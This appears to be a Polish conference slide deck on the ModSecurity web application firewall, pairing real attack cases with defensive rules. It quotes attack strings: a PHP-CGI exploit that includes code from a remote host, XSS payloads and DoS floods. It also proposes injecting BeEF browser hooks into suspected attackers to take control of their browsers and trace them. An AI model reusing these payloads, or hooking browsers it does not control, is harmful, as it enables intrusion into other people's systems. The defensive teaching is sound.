Czy Twój WAF to potrafi? modsecurity. Leszek Miś IT Security Architect RHCA, RHCSS lm@linuxpolska.pl 1
/whoami IT Security Architect @ Linux Polska Sp. z o.o. Lider projektu WALLF Web Gateway (http://wallf.pl) RHCA/RHCSS/RHCX Skupiam się głównie na: Linux Security Web Security Pentesty SSO Linux forensics Klastry, wirtualizacja, cloud, storage 2
Agenda 1. Kilka słów wstępu. 2. Podstawowe możliwości. 3. Realne przypadki 4. PoC: - Honeypot + modsecurity - BeeF+modsecurity = give me your real IP! 5. Podsumowanie. 3
modsecurity Najczęściej wykorzystywany WAF na świecie Open source Tysiące dl/miesiąc Chronionych ponad milion serwerów Tryby pracy: Wbudowany Reverse Proxy 4
modsecurity Od zawsze dostępny dla Apache Od niedawna także dla: Nginx (jest też naxsi oraz ngx_lua based) Microsoft IIS Blacklist: OWASP Modsecurity Core Rule Set Whitelist learning mode: Modprofiler WebApplicationProfiler REMO 5
modsecurity 6
modsecurity Wirtualne patchowanie i integracja z DAST: ZAP, Arachni, RPC LUA API Bramka typu Intrusion Prevention dla protokołu HTTP (Reverse Proxy) Możliwość szybkiej modyfikacji reguł Ochrona przed błędami typu 0-day dla aplikacji webowych Geolokalizacja Ochrona antywirusowa dla uploadów Nadawanie flag ciasteczkom 7
Modsecurity CRS HTTP Protection - detecting violations of the HTTP protocol and a locally defined usage policy. Real-time Blacklist Lookups - utilizes 3rd Party IP Reputation Web-based Malware Detection - identifies malicious web content by check against the Google Safe Browsing API. HTTP Denial of Service Protections - defense against HTTP Flooding and Slow HTTP DoS Attacks. Common Web Attacks Protection - detecting common web application security attack. Automation Detection - Detecting bots, crawlers, scanners and other surface malicious activity. 8
Modsecurity CRS Integration with AV Scanning for File Uploads - detects malicious files uploaded through the web application. Tracking Sensitive Data - Tracks Credit Card usage and blocks leakages. Trojan Protection - Detecting access to Trojans horses. Identification of Application Defects - alerts on application misconfigurations. Error Detection and Hiding - Disguising error messages sent by the server. 9
Modsecurity CRS modsecurity_35_bad_robots.data modsecurity_crs_23_request_limits.conf modsecurity_crs_47_common_exceptions.conf modsecurity_35_scanners.data modsecurity_crs_30_http_policy.conf modsecurity_crs_48_local_exceptions.conf.example modsecurity_40_generic_attacks.data modsecurity_crs_35_bad_robots.conf modsecurity_crs_49_inbound_blocking.conf modsecurity_41_sql_injection_attacks.data modsecurity_crs_40_generic_attacks.conf modsecurity_crs_50_outbound.conf modsecurity_50_outbound.data modsecurity_crs_41_sql_injection_attacks.conf modsecurity_crs_59_outbound_blocking.conf modsecurity_50_outbound_malware.data modsecurity_crs_41_xss_attacks.conf modsecurity_crs_60_correlation.conf modsecurity_crs_20_protocol_violations.conf modsecurity_crs_42_tight_security.conf modsecurity_crs_21_protocol_anomalies.conf modsecurity_crs_45_trojans.conf 10
Realne przypadki 11
Realne przypadki Ruby on Rails XML Exploits Podatność w kodzie parsującym parametry XML YAML i Symbol Wykonanie dowolnego polecenia systemowego Modsecurity potrafi parsować i walidować XML: SecRule REQUEST_HEADERS:Content-Type "text/xml" \ "id:'900017', phase:1, t:none,t:lowercase, \ nolog, pass, chain" SecRule REQBODY_PROCESSOR "!@streq XML" \ "ctl:requestbodyprocessor=xml" 12
Realne przypadki Positive security model dla formularza logowania + ochrona przed brute force 13
Realne przypadki Ochrona przed atakami typu Slow HTTP DOS Slowloris: Atakujący wysyła niekompletny zbiór nagłówków Zaśmiecenie kolejki read request i write request Serwer oczekuje dalszych requestów, aż do Timeoutu Wysyłanie kolejnych żądań powoduje wysycenie zasobów R-U-dead-yet czyli RUDY attack: Faza request headers wykonywana poprawnie Wolne wysyłanie request body, np 1bajt/100s Wiele innych jak HOIC/LOIC 14
Realne przypadki Kontrolowanie ilości połączeń w stanie Busy: SecReadStateLimit 5 SecWriteStateLimit 5 [Mon Nov 22 17:44:46 2010] [warn] ModSecurity: Access denied with code 400. Too many connections [6] of 5 allowed in READ state from 8X.XX.XX.XX - Possible DoS Consumption Attack [Rejected] [Mon Nov 22 17:44:47 2010] [warn] ModSecurity: Access denied with code 400. Too many connections [6] of 5 allowed in READ state from 8X.XX.XX.XX - Possible DoS Consumption Attack [Rejected] 15
Realne przypadki HULK DOS Tool: Pythony skrypt Randomizowane wartości nagłówków: User-Agent, Referer, Keep-alive Zawsze ta sama kolejność 16
Realne przypadki CVE-2012-1823: PHP jako czyste CGI mod_cgid Możliwość podglądu kodu źródłowego: 'GET /index.php?-s' /index.php?-dallow_url_include%3don+dauto_prepend_file %3dhttp://www.bu67778.com/a.txt' SecRule QUERY_STRING "^-[sdcr]" "phase:1,t:none,t:urldecodeuni,t:removewhitespace,block,log,msg:'potential PHP-CGI Exploit Attempt'" 17
Realne przypadki OsCommerce 3.0.2 XSS Parametr name : POST /oscommerce/index.php? RPC&Setup&Install&DBCheck HTTP/1.1 server=&username=&password=&name= %3Cscript%3Ealert(123)%3C%2Fscript %3E&port=&class=SQL 18
Realne przypadki Movable Types: XSS Parametr dbuser: POST /cgi-bin/mt/mt-wizard.cgi HTTP/1.1 mode=test&step=configure&set_static_uri_to=&d efault_language=enus&config=&dbtype=mysql&dbserver=localhost&db name=&dbuser=%3cscript%3ealert %28%27123%27%29%3C%2Fscript %3E&dbpass=test&dbpath=&dbport=&dbsocket=&t est=1 19
Realne przypadki Movable types: 20
Realne przypadki ASP.NET HashTable DoS: Paylodem była bardzo duża ilość losowych parametrów z pustą zawartością: EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138 LL=&XXST36DRX=&JRYRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0 TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=&MOCGW14ZU7=&I0JK KKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D 3ACY8973E=&VGJPMCQHP=&AV6THWSCA7= SecRequestBodyLimit 131072 domyślna wartość This directive is useful to reduce susceptibility to DoS attacks when someone is sending request bodies of very large sizes. 21
Honeytrapy 22
Honeytrapy Wykorzystanie istniejących serwerów: Listen 8080 Listen 8888 Listen 8000 Wykrywanie i blokowanie automatów skanujących pod kątem webappek na niestandardowych portach Tagowanie klientów Rozpoznawanie pod kątem prawdziwej aplikacji 23
Honeytrapy SecRule SERVER_PORT "^(8000 8080 8888)$" "id:'999004',phase:2,t:none,log,block,msg:'honeytrap Alert: Traffic Received on Fake Port.',\ setvar:ip.malicious_client=1" SecRule &IP:MALICIOUS_CLIENT "@eq 1" "id:'999005',phase:2,t:none,log,block,msg:'honeytrap Alert: Known Malicious Client.'" Integracja z WASC Web Honeypots 24
Mięsko ;) 25
BEEF The Browser Exploitation Framework zaawansowane narzędzie do pentestów Browser as Pentester's gateway C&C Wymagane: Zmuszenie użytkownika do wejścia na stronę (FB,TW, krótkie linki) Phishing XSS dla tych którzy uważają, że XSS nic nie znaczy 26
BEEF Pozwala na przejęcie kontroli nad przeglądarką użytkownika poprzez wstrzykiwanie hooków: Bind shell Javascript command Odwiedzane URLe Skanowanie portów/dns enum/network discovery Man In The Browser Tunelowanie Keylogger Integracja z metasploit, np: XSS->Hook->przejęcie kontroli nad przeglądarką Wykorzystanie podatności, np. w Adobe Dostęp do shella z poziomu metasploita 27
W jaki sposób wyśledzić prawdziwy adres źródłowy atakującego? Proxy TOR Analiza powłamaniowa 28
Co mamy? Modsecurity jako WAF: Wykrywanie ataków Aktywacja Beefa BeEF jako browser exploitation framework: Hookowanie atakujących Enumeracja lokalizacji atakującego AuditConsole: Centralna konsola do analizy logów 29
modsecurity+beef Idea przedstawiona na Appsec 2012 USA przez Rayna Barnetta Ograniczenie do połączeń do tych z browsera Monitorowanie atakujących 30
modsecurity+beef Filtrowanie wyjścia: SecResponseBodyAccess Modyfikacja HTTP Response data SecContentInjection SecStreamOutBodyInspection Zmienna STREAM_OUTPUT_BODY Operator @rsub SecRule STREAM_OUTPUT_BODY " <at> rsub s/fuck/****/" "phase:4,t:none,log,auditlog,pass" 31
modsecurity+beef W jaki sposób zidentyfikować atakującego? Założyć pułapki: Fake cookies Robots.txt Ukryte pola formularzy: SecRule STREAM_OUTPUT_BODY "@rsub s/</form>/<input type="hidden" name="admin" value="false"></form>/id" id:"999999", phase:4,t:none,nolog,pass" 32
modsecurity+beef SecRule ARGS:admin "!@streq false" "id:'9999923',phase:2,t:none,log,block,msg:'honey trap alert: hidden form data manipulated',setvar:tx.malicious_client=1" SecRule TX:MALICIOUS_CLIENT "@eq 1" "chain,id:'999232', phase:4, t:none, pass, log,msg:'hooking to beef'" SecRule STREAM_OUTPUT_BODY "@rsub" s/</html>/<script src=http://10.0.0.1:5000/functions.js"></script></ht ml> 33
modsecurity+beef Geolokalizacja: Lokalnie dostępne access pointy Uzyskanie dostępu do CMD celem wysłania ICMP do naszego hosta: Analiza ruchu i wykrycie faktycznego adresu IP 34
Podsumowanie W modsecurity drzemią ogromne możliwości i potencjał Reguły oparte na blacklistach prędzej czy później mogą zostać ominięte Whitelisting trudny we wdrożeniu, utrzymaniu i czasochłonny zmieniające się aplikacje Audytowanie logów konieczność 35
Podsumowanie Dziękuję za uwagę. lm@linuxpolska.pl 36